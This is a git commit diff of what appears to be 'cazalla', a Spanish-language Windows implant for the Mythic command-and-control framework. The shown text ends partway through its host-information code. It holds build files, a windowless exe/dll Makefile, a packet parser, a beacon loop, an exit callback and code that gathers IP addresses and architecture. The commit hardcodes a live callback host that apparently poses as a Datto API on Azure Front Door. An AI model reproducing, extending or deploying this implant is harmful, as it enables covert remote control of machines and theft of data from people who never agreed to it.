v0.5 ps y mejoras
This commit is contained in:
+28
-28
@@ -1,28 +1,28 @@
|
||||
|
||||
Copyright (c) 2023, its-a-feature
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
* Neither the name of [project] nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
Copyright (c) 2023, its-a-feature
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
* Neither the name of [project] nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
@@ -1,25 +1,25 @@
|
||||
FROM python:3.11
|
||||
|
||||
ARG CA_CERTIFICATE
|
||||
ARG NPM_REGISTRY
|
||||
ARG PYPI_INDEX
|
||||
ARG PYPI_INDEX_URL
|
||||
ARG DOCKER_REGISTRY_MIRROR
|
||||
ARG HTTP_PROXY
|
||||
ARG HTTPS_PROXY
|
||||
|
||||
RUN apt-get -y update && \
|
||||
apt-get -y upgrade && \
|
||||
apt-get install --no-install-recommends \
|
||||
software-properties-common apt-utils zip make build-essential libssl-dev zlib1g-dev libbz2-dev \
|
||||
xz-utils tk-dev libffi-dev liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm -y && \
|
||||
apt-get purge -y && \
|
||||
rm -rf /var/lib/apt/lists/* && \
|
||||
apt-get clean
|
||||
|
||||
COPY requirements.txt /
|
||||
RUN pip3 install -r /requirements.txt
|
||||
|
||||
WORKDIR /Mythic/
|
||||
|
||||
FROM python:3.11
|
||||
|
||||
ARG CA_CERTIFICATE
|
||||
ARG NPM_REGISTRY
|
||||
ARG PYPI_INDEX
|
||||
ARG PYPI_INDEX_URL
|
||||
ARG DOCKER_REGISTRY_MIRROR
|
||||
ARG HTTP_PROXY
|
||||
ARG HTTPS_PROXY
|
||||
|
||||
RUN apt-get -y update && \
|
||||
apt-get -y upgrade && \
|
||||
apt-get install --no-install-recommends \
|
||||
software-properties-common apt-utils zip make build-essential libssl-dev zlib1g-dev libbz2-dev \
|
||||
xz-utils tk-dev libffi-dev liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm -y && \
|
||||
apt-get purge -y && \
|
||||
rm -rf /var/lib/apt/lists/* && \
|
||||
apt-get clean
|
||||
|
||||
COPY requirements.txt /
|
||||
RUN pip3 install -r /requirements.txt
|
||||
|
||||
WORKDIR /Mythic/
|
||||
|
||||
CMD ["python3", "main.py"]
|
||||
@@ -1,20 +1,20 @@
|
||||
import glob
|
||||
import os.path
|
||||
from pathlib import Path
|
||||
from importlib import import_module, invalidate_caches
|
||||
import sys
|
||||
# Get file paths of all modules.
|
||||
|
||||
currentPath = Path(__file__)
|
||||
searchPath = currentPath.parent / "agent_functions" / "*.py"
|
||||
modules = glob.glob(f"{searchPath}")
|
||||
invalidate_caches()
|
||||
for x in modules:
|
||||
if not x.endswith("__init__.py") and x[-3:] == ".py":
|
||||
module = import_module(f"{__name__}.agent_functions." + Path(x).stem)
|
||||
for el in dir(module):
|
||||
if "__" not in el:
|
||||
globals()[el] = getattr(module, el)
|
||||
|
||||
|
||||
sys.path.append(os.path.abspath(currentPath.name))
|
||||
import glob
|
||||
import os.path
|
||||
from pathlib import Path
|
||||
from importlib import import_module, invalidate_caches
|
||||
import sys
|
||||
# Get file paths of all modules.
|
||||
|
||||
currentPath = Path(__file__)
|
||||
searchPath = currentPath.parent / "agent_functions" / "*.py"
|
||||
modules = glob.glob(f"{searchPath}")
|
||||
invalidate_caches()
|
||||
for x in modules:
|
||||
if not x.endswith("__init__.py") and x[-3:] == ".py":
|
||||
module = import_module(f"{__name__}.agent_functions." + Path(x).stem)
|
||||
for el in dir(module):
|
||||
if "__" not in el:
|
||||
globals()[el] = getattr(module, el)
|
||||
|
||||
|
||||
sys.path.append(os.path.abspath(currentPath.name))
|
||||
|
||||
@@ -1,115 +1,115 @@
|
||||
#include "analizador.h"
|
||||
|
||||
//Creacion de un nuevo Analizador.
|
||||
PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano) {
|
||||
//v2 change to syscalls
|
||||
PAnalizador pAnalizador = (PAnalizador)LocalAlloc(LPTR, sizeof(Analizador));
|
||||
pAnalizador->buffer = NULL;
|
||||
pAnalizador->tamano = tamano;
|
||||
pAnalizador->tamanoOriginal = tamano;
|
||||
pAnalizador->original = (PBYTE)LocalAlloc(LPTR, tamano);
|
||||
|
||||
if (!pAnalizador->original) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
memcpy(pAnalizador->original, buffer, tamano);
|
||||
pAnalizador->buffer = pAnalizador->original;
|
||||
|
||||
return pAnalizador;
|
||||
}
|
||||
|
||||
VOID liberarAnalizador(PAnalizador analizador) {
|
||||
|
||||
analizador->original = NULL;
|
||||
analizador->buffer = NULL;
|
||||
LocalFree(analizador);
|
||||
|
||||
}
|
||||
|
||||
|
||||
BYTE getByte(PAnalizador analizador) {
|
||||
|
||||
BYTE intByte = 0;
|
||||
if (analizador->tamano < 1) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
//v2. Syscalls
|
||||
memcpy(&intByte, analizador->buffer, 1);
|
||||
analizador->buffer += 1;
|
||||
analizador->tamano -= 1;
|
||||
|
||||
return intByte;
|
||||
|
||||
}
|
||||
|
||||
|
||||
UINT32 getInt32(PAnalizador analizador) {
|
||||
|
||||
UINT32 intByte = 0;
|
||||
if (analizador->tamano < 4) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
//v2. Syscalls
|
||||
memcpy(&intByte, analizador->buffer, 4);
|
||||
analizador->buffer += 4;
|
||||
analizador->tamano -= 4;
|
||||
|
||||
return BYTESWAP32(intByte);
|
||||
|
||||
}
|
||||
|
||||
UINT64 getInt64(PAnalizador analizador) {
|
||||
|
||||
UINT64 intByte = 0;
|
||||
if (analizador->tamano < 8) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
//v2. Syscalls
|
||||
memcpy(&intByte, analizador->buffer, 8);
|
||||
analizador->buffer += 8;
|
||||
analizador->tamano -= 8;
|
||||
|
||||
return BYTESWAP64(intByte);
|
||||
|
||||
}
|
||||
|
||||
PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano) {
|
||||
|
||||
SIZE_T length = 0;
|
||||
if (*tamano == 0) {
|
||||
|
||||
length = getInt32(analizador);
|
||||
*tamano = length;
|
||||
}
|
||||
else {
|
||||
|
||||
length = *tamano;
|
||||
|
||||
}
|
||||
|
||||
PBYTE datosDeSalida = (PBYTE)LocalAlloc(LPTR, length);
|
||||
if (!datosDeSalida) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
memcpy(datosDeSalida, analizador->buffer, length);
|
||||
analizador->buffer += length;
|
||||
analizador->tamano -= length;
|
||||
|
||||
return datosDeSalida;
|
||||
}
|
||||
|
||||
PCHAR getString(PAnalizador analizador, PSIZE_T tamano) {
|
||||
|
||||
return (PCHAR)getBytes(analizador, tamano);
|
||||
}
|
||||
|
||||
PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano) {
|
||||
|
||||
return (PWCHAR)getBytes(analizador, tamano);
|
||||
|
||||
}
|
||||
#include "analizador.h"
|
||||
|
||||
//Creacion de un nuevo Analizador.
|
||||
PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano) {
|
||||
//v2 change to syscalls
|
||||
PAnalizador pAnalizador = (PAnalizador)LocalAlloc(LPTR, sizeof(Analizador));
|
||||
pAnalizador->buffer = NULL;
|
||||
pAnalizador->tamano = tamano;
|
||||
pAnalizador->tamanoOriginal = tamano;
|
||||
pAnalizador->original = (PBYTE)LocalAlloc(LPTR, tamano);
|
||||
|
||||
if (!pAnalizador->original) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
memcpy(pAnalizador->original, buffer, tamano);
|
||||
pAnalizador->buffer = pAnalizador->original;
|
||||
|
||||
return pAnalizador;
|
||||
}
|
||||
|
||||
VOID liberarAnalizador(PAnalizador analizador) {
|
||||
|
||||
analizador->original = NULL;
|
||||
analizador->buffer = NULL;
|
||||
LocalFree(analizador);
|
||||
|
||||
}
|
||||
|
||||
|
||||
BYTE getByte(PAnalizador analizador) {
|
||||
|
||||
BYTE intByte = 0;
|
||||
if (analizador->tamano < 1) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
//v2. Syscalls
|
||||
memcpy(&intByte, analizador->buffer, 1);
|
||||
analizador->buffer += 1;
|
||||
analizador->tamano -= 1;
|
||||
|
||||
return intByte;
|
||||
|
||||
}
|
||||
|
||||
|
||||
UINT32 getInt32(PAnalizador analizador) {
|
||||
|
||||
UINT32 intByte = 0;
|
||||
if (analizador->tamano < 4) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
//v2. Syscalls
|
||||
memcpy(&intByte, analizador->buffer, 4);
|
||||
analizador->buffer += 4;
|
||||
analizador->tamano -= 4;
|
||||
|
||||
return BYTESWAP32(intByte);
|
||||
|
||||
}
|
||||
|
||||
UINT64 getInt64(PAnalizador analizador) {
|
||||
|
||||
UINT64 intByte = 0;
|
||||
if (analizador->tamano < 8) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
//v2. Syscalls
|
||||
memcpy(&intByte, analizador->buffer, 8);
|
||||
analizador->buffer += 8;
|
||||
analizador->tamano -= 8;
|
||||
|
||||
return BYTESWAP64(intByte);
|
||||
|
||||
}
|
||||
|
||||
PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano) {
|
||||
|
||||
SIZE_T length = 0;
|
||||
if (*tamano == 0) {
|
||||
|
||||
length = getInt32(analizador);
|
||||
*tamano = length;
|
||||
}
|
||||
else {
|
||||
|
||||
length = *tamano;
|
||||
|
||||
}
|
||||
|
||||
PBYTE datosDeSalida = (PBYTE)LocalAlloc(LPTR, length);
|
||||
if (!datosDeSalida) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
memcpy(datosDeSalida, analizador->buffer, length);
|
||||
analizador->buffer += length;
|
||||
analizador->tamano -= length;
|
||||
|
||||
return datosDeSalida;
|
||||
}
|
||||
|
||||
PCHAR getString(PAnalizador analizador, PSIZE_T tamano) {
|
||||
|
||||
return (PCHAR)getBytes(analizador, tamano);
|
||||
}
|
||||
|
||||
PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano) {
|
||||
|
||||
return (PWCHAR)getBytes(analizador, tamano);
|
||||
|
||||
}
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
#pragma once
|
||||
#define initUUID "%UUID%"
|
||||
#define hostname L"%HOSTNAME%"
|
||||
#define endpoint L"%ENDPOINT%"
|
||||
#define ssl %SSL%
|
||||
#define proxyenabled %PROXYENABLED%
|
||||
#define proxyurl L"%PROXYURL%"
|
||||
|
||||
#define useragent L"%USERAGENT%"
|
||||
#define httpmethod L"POST"
|
||||
#define port %PORT%
|
||||
|
||||
#define sleep_time %SLEEPTIME%
|
||||
#pragma once
|
||||
#define initUUID "41c8ef02-b046-4664-97f4-93bfb20335b4"
|
||||
#define hostname L"datto-api-hyfmh8fhgkhwg6f6.a01.azurefd.net"
|
||||
#define endpoint L"data"
|
||||
#define ssl TRUE
|
||||
#define proxyenabled FALSE
|
||||
#define proxyurl L""
|
||||
|
||||
#define useragent L""
|
||||
#define httpmethod L"POST"
|
||||
#define port 443
|
||||
|
||||
#define sleep_time 10
|
||||
@@ -1,43 +1,43 @@
|
||||
# Compiler
|
||||
CC = x86_64-w64-mingw32-gcc
|
||||
CFLAGS = -Wall -w -s -IInclude
|
||||
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -mwindows
|
||||
DFLAGS = -D_DEBUG
|
||||
|
||||
# Directories
|
||||
SRC_FILES := *.c
|
||||
BUILD_DIR = build
|
||||
|
||||
# Ensure build directory exists
|
||||
$(shell mkdir -p $(BUILD_DIR))
|
||||
|
||||
# Build Targets
|
||||
all: exe dll
|
||||
|
||||
exe: $(BUILD_DIR)/cazalla.exe
|
||||
|
||||
dll: $(BUILD_DIR)/cazalla.dll
|
||||
|
||||
debug: debug_exe debug_dll
|
||||
|
||||
debug_exe: $(BUILD_DIR)/cazalla-debug.exe
|
||||
|
||||
debug_dll: $(BUILD_DIR)/cazalla-debug.dll
|
||||
|
||||
# Executable Target
|
||||
$(BUILD_DIR)/cazalla.exe: $(SRC_FILES)
|
||||
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS)
|
||||
|
||||
$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES)
|
||||
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) $(DFLAGS)
|
||||
|
||||
# DLL Target
|
||||
$(BUILD_DIR)/cazalla.dll: $(SRC_FILES)
|
||||
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS)
|
||||
|
||||
$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES)
|
||||
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DFLAGS)
|
||||
|
||||
# Clean up
|
||||
clean:
|
||||
rm -rf $(BUILD_DIR)
|
||||
# Compiler
|
||||
CC = x86_64-w64-mingw32-gcc
|
||||
CFLAGS = -Wall -w -s -IInclude
|
||||
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -mwindows
|
||||
DFLAGS = -D_DEBUG
|
||||
|
||||
# Directories
|
||||
SRC_FILES := *.c
|
||||
BUILD_DIR = build
|
||||
|
||||
# Ensure build directory exists
|
||||
$(shell mkdir -p $(BUILD_DIR))
|
||||
|
||||
# Build Targets
|
||||
all: exe dll
|
||||
|
||||
exe: $(BUILD_DIR)/cazalla.exe
|
||||
|
||||
dll: $(BUILD_DIR)/cazalla.dll
|
||||
|
||||
debug: debug_exe debug_dll
|
||||
|
||||
debug_exe: $(BUILD_DIR)/cazalla-debug.exe
|
||||
|
||||
debug_dll: $(BUILD_DIR)/cazalla-debug.dll
|
||||
|
||||
# Executable Target
|
||||
$(BUILD_DIR)/cazalla.exe: $(SRC_FILES)
|
||||
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS)
|
||||
|
||||
$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES)
|
||||
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) $(DFLAGS)
|
||||
|
||||
# DLL Target
|
||||
$(BUILD_DIR)/cazalla.dll: $(SRC_FILES)
|
||||
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS)
|
||||
|
||||
$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES)
|
||||
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DFLAGS)
|
||||
|
||||
# Clean up
|
||||
clean:
|
||||
rm -rf $(BUILD_DIR)
|
||||
|
||||
@@ -1,26 +1,26 @@
|
||||
#pragma once
|
||||
#ifndef ANALIZADOR_H
|
||||
#define ANALIZADOR_H
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
typedef struct {
|
||||
|
||||
PBYTE original;
|
||||
PBYTE buffer;
|
||||
SIZE_T tamano;
|
||||
SIZE_T tamanoOriginal;
|
||||
|
||||
} Analizador, * PAnalizador;
|
||||
|
||||
PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano);
|
||||
VOID liberarAnalizador(PAnalizador analizador);
|
||||
|
||||
BYTE getByte(PAnalizador analizador);
|
||||
UINT32 getInt32(PAnalizador analizador);
|
||||
UINT64 getInt64(PAnalizador analizador);
|
||||
PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano);
|
||||
PCHAR getString(PAnalizador analizador, PSIZE_T tamano);
|
||||
PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano);
|
||||
|
||||
#pragma once
|
||||
#ifndef ANALIZADOR_H
|
||||
#define ANALIZADOR_H
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
typedef struct {
|
||||
|
||||
PBYTE original;
|
||||
PBYTE buffer;
|
||||
SIZE_T tamano;
|
||||
SIZE_T tamanoOriginal;
|
||||
|
||||
} Analizador, * PAnalizador;
|
||||
|
||||
PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano);
|
||||
VOID liberarAnalizador(PAnalizador analizador);
|
||||
|
||||
BYTE getByte(PAnalizador analizador);
|
||||
UINT32 getInt32(PAnalizador analizador);
|
||||
UINT64 getInt64(PAnalizador analizador);
|
||||
PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano);
|
||||
PCHAR getString(PAnalizador analizador, PSIZE_T tamano);
|
||||
PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano);
|
||||
|
||||
#endif
|
||||
@@ -1,39 +1,39 @@
|
||||
#include "cazalla.h"
|
||||
#include "Config.h"
|
||||
|
||||
CONFIG_CAZALLA* cazallaConfig = NULL;
|
||||
|
||||
VOID cazallaMain() {
|
||||
|
||||
//v2: evitar LocalAlloc
|
||||
cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA));
|
||||
cazallaConfig->idAgente = (PCHAR)initUUID;
|
||||
cazallaConfig->hostName = (PWCHAR)hostname;
|
||||
cazallaConfig->puertoHttp = port;
|
||||
cazallaConfig->endPoint = (PWCHAR)endpoint;
|
||||
cazallaConfig->userAgent = (PWCHAR)useragent;
|
||||
cazallaConfig->metodoHttp = (PWCHAR)httpmethod;
|
||||
cazallaConfig->SSL = ssl;
|
||||
cazallaConfig->proxyHabilitado = proxyenabled;
|
||||
cazallaConfig->urlProxy = (PWCHAR)proxyurl;
|
||||
cazallaConfig->tiempoSleep = sleep_time * 1000;
|
||||
|
||||
PAnalizador respuestaAnalizador = checkin();
|
||||
|
||||
if (!respuestaAnalizador) {
|
||||
_err("error en el primer checkin, cerrando\n");
|
||||
return;
|
||||
}
|
||||
|
||||
parseChecking(respuestaAnalizador);
|
||||
|
||||
while (TRUE){
|
||||
rutina();
|
||||
}
|
||||
}
|
||||
|
||||
VOID setUUID(PCHAR newUUID) {
|
||||
cazallaConfig->idAgente = newUUID;
|
||||
return;
|
||||
}
|
||||
|
||||
#include "cazalla.h"
|
||||
#include "Config.h"
|
||||
|
||||
CONFIG_CAZALLA* cazallaConfig = NULL;
|
||||
|
||||
VOID cazallaMain() {
|
||||
|
||||
//v2: evitar LocalAlloc
|
||||
cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA));
|
||||
cazallaConfig->idAgente = (PCHAR)initUUID;
|
||||
cazallaConfig->hostName = (PWCHAR)hostname;
|
||||
cazallaConfig->puertoHttp = port;
|
||||
cazallaConfig->endPoint = (PWCHAR)endpoint;
|
||||
cazallaConfig->userAgent = (PWCHAR)useragent;
|
||||
cazallaConfig->metodoHttp = (PWCHAR)httpmethod;
|
||||
cazallaConfig->SSL = ssl;
|
||||
cazallaConfig->proxyHabilitado = proxyenabled;
|
||||
cazallaConfig->urlProxy = (PWCHAR)proxyurl;
|
||||
cazallaConfig->tiempoSleep = sleep_time*1000;
|
||||
|
||||
PAnalizador respuestaAnalizador = checkin();
|
||||
|
||||
if (!respuestaAnalizador) {
|
||||
_err("error en el primer checkin, cerrando\n");
|
||||
return;
|
||||
}
|
||||
|
||||
parseChecking(respuestaAnalizador);
|
||||
|
||||
while (TRUE){
|
||||
rutina();
|
||||
}
|
||||
}
|
||||
|
||||
VOID setUUID(PCHAR newUUID) {
|
||||
cazallaConfig->idAgente = newUUID;
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
@@ -1,35 +1,35 @@
|
||||
#pragma once
|
||||
#ifndef CAZALLA_H
|
||||
#define CAZALLA_H
|
||||
|
||||
#include <windows.h>
|
||||
#include "paquete.h"
|
||||
|
||||
#include "analizador.h"
|
||||
#include "utils.h"
|
||||
#include "checkin.h"
|
||||
|
||||
typedef struct {
|
||||
// UUID
|
||||
PCHAR idAgente;
|
||||
//HTTP
|
||||
PWCHAR hostName;
|
||||
DWORD puertoHttp;
|
||||
PWCHAR endPoint;
|
||||
PWCHAR userAgent;
|
||||
PWCHAR metodoHttp;
|
||||
|
||||
BOOL SSL;
|
||||
BOOL proxyHabilitado;
|
||||
PWCHAR urlProxy;
|
||||
|
||||
UINT32 tiempoSleep;
|
||||
}CONFIG_CAZALLA, * PCONFIG_CAZALLA;
|
||||
|
||||
extern PCONFIG_CAZALLA cazallaConfig;
|
||||
|
||||
|
||||
VOID setUUID(PCHAR newUUID);
|
||||
VOID cazallaMain();
|
||||
|
||||
#pragma once
|
||||
#ifndef CAZALLA_H
|
||||
#define CAZALLA_H
|
||||
|
||||
#include <windows.h>
|
||||
#include "paquete.h"
|
||||
|
||||
#include "analizador.h"
|
||||
#include "utils.h"
|
||||
#include "checkin.h"
|
||||
|
||||
typedef struct {
|
||||
// UUID
|
||||
PCHAR idAgente;
|
||||
//HTTP
|
||||
PWCHAR hostName;
|
||||
DWORD puertoHttp;
|
||||
PWCHAR endPoint;
|
||||
PWCHAR userAgent;
|
||||
PWCHAR metodoHttp;
|
||||
|
||||
BOOL SSL;
|
||||
BOOL proxyHabilitado;
|
||||
PWCHAR urlProxy;
|
||||
|
||||
UINT32 tiempoSleep;
|
||||
}CONFIG_CAZALLA, * PCONFIG_CAZALLA;
|
||||
|
||||
extern PCONFIG_CAZALLA cazallaConfig;
|
||||
|
||||
|
||||
VOID setUUID(PCHAR newUUID);
|
||||
VOID cazallaMain();
|
||||
|
||||
#endif
|
||||
@@ -1,35 +1,35 @@
|
||||
#include "cerrarCallback.h"
|
||||
#include "paquete.h"
|
||||
#include <processthreadsapi.h>
|
||||
|
||||
|
||||
BOOL cerrarCallback(PAnalizador argumentos){
|
||||
|
||||
SIZE_T tamanoUuid = 36;
|
||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||
|
||||
// Crear paquete de respuesta
|
||||
PPaquete paquete = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
|
||||
// Si falla la creación del paquete, cerramos con error
|
||||
if (!paquete) {
|
||||
ExitProcess(1);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Agregar el UUID de la tarea
|
||||
addString(paquete, tareaUuid, FALSE);
|
||||
|
||||
// Indicar que la tarea se completó con éxito
|
||||
addByte(paquete, TASK_COMPLETE);
|
||||
|
||||
// Enviar el paquete
|
||||
mandarPaquete(paquete);
|
||||
|
||||
// Liberar memoria del paquete
|
||||
liberarPaquete(paquete);
|
||||
|
||||
// Terminar el proceso
|
||||
ExitProcess(0);
|
||||
return TRUE;
|
||||
#include "cerrarCallback.h"
|
||||
#include "paquete.h"
|
||||
#include <processthreadsapi.h>
|
||||
|
||||
|
||||
BOOL cerrarCallback(PAnalizador argumentos){
|
||||
|
||||
SIZE_T tamanoUuid = 36;
|
||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||
|
||||
// Crear paquete de respuesta
|
||||
PPaquete paquete = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
|
||||
// Si falla la creación del paquete, cerramos con error
|
||||
if (!paquete) {
|
||||
ExitProcess(1);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Agregar el UUID de la tarea
|
||||
addString(paquete, tareaUuid, FALSE);
|
||||
|
||||
// Indicar que la tarea se completó con éxito
|
||||
addByte(paquete, TASK_COMPLETE);
|
||||
|
||||
// Enviar el paquete
|
||||
mandarPaquete(paquete);
|
||||
|
||||
// Liberar memoria del paquete
|
||||
liberarPaquete(paquete);
|
||||
|
||||
// Terminar el proceso
|
||||
ExitProcess(0);
|
||||
return TRUE;
|
||||
}
|
||||
@@ -1,11 +1,11 @@
|
||||
#pragma once
|
||||
#ifndef EXIT_H
|
||||
#define EXIT_H
|
||||
|
||||
#include <windows.h>
|
||||
#include "analizador.h"
|
||||
|
||||
BOOL cerrarCallback(PAnalizador argumentos);
|
||||
|
||||
|
||||
#pragma once
|
||||
#ifndef EXIT_H
|
||||
#define EXIT_H
|
||||
|
||||
#include <windows.h>
|
||||
#include "analizador.h"
|
||||
|
||||
BOOL cerrarCallback(PAnalizador argumentos);
|
||||
|
||||
|
||||
#endif //EXIT_H
|
||||
@@ -1,196 +1,196 @@
|
||||
#include "checkin.h"
|
||||
#include "cazalla.h"
|
||||
|
||||
#pragma comment(lib, "iphlpapi.lib")
|
||||
#include <iphlpapi.h>
|
||||
|
||||
// Obtener Direcciones IPs.
|
||||
UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) {
|
||||
|
||||
PMIB_IPADDRTABLE pTablaDireccionesIP;
|
||||
DWORD dwSize = 0;
|
||||
DWORD dwRetVal = 0;
|
||||
IN_ADDR IPAddr;
|
||||
LPVOID lpMsgBuf;
|
||||
|
||||
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, sizeof(MIB_IPADDRTABLE));
|
||||
if (pTablaDireccionesIP) {
|
||||
|
||||
if (GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0) == ERROR_INSUFFICIENT_BUFFER) {
|
||||
|
||||
LocalFree(pTablaDireccionesIP);
|
||||
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, dwSize);
|
||||
}
|
||||
|
||||
if (pTablaDireccionesIP == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
else {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if ((dwRetVal = GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0)) != NO_ERROR) {
|
||||
|
||||
return NULL;
|
||||
|
||||
}
|
||||
else {
|
||||
|
||||
*numeroDeIPs = (UINT32)pTablaDireccionesIP->dwNumEntries;
|
||||
}
|
||||
|
||||
UINT32* tableOfIPs = (UINT32*)LocalAlloc(LPTR, (*numeroDeIPs) * sizeof(UINT32));
|
||||
|
||||
for (UINT32 i = 0; i < *numeroDeIPs; i++) {
|
||||
|
||||
IPAddr.S_un.S_addr = (u_long)pTablaDireccionesIP->table[i].dwAddr;
|
||||
tableOfIPs[i] = BYTESWAP32(IPAddr.S_un.S_addr);
|
||||
}
|
||||
|
||||
if (pTablaDireccionesIP) {
|
||||
|
||||
LocalFree(pTablaDireccionesIP);
|
||||
}
|
||||
|
||||
return tableOfIPs;
|
||||
}
|
||||
|
||||
|
||||
// Obtener la arquitectura
|
||||
BYTE obtenerArquitectura() {
|
||||
|
||||
SYSTEM_INFO informacionDelSistema;
|
||||
|
||||
GetNativeSystemInfo(&informacionDelSistema);
|
||||
if (informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 || informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) {
|
||||
return 0x64;
|
||||
}
|
||||
|
||||
return 0x86;
|
||||
}
|
||||
|
||||
// Obtener el Hostname
|
||||
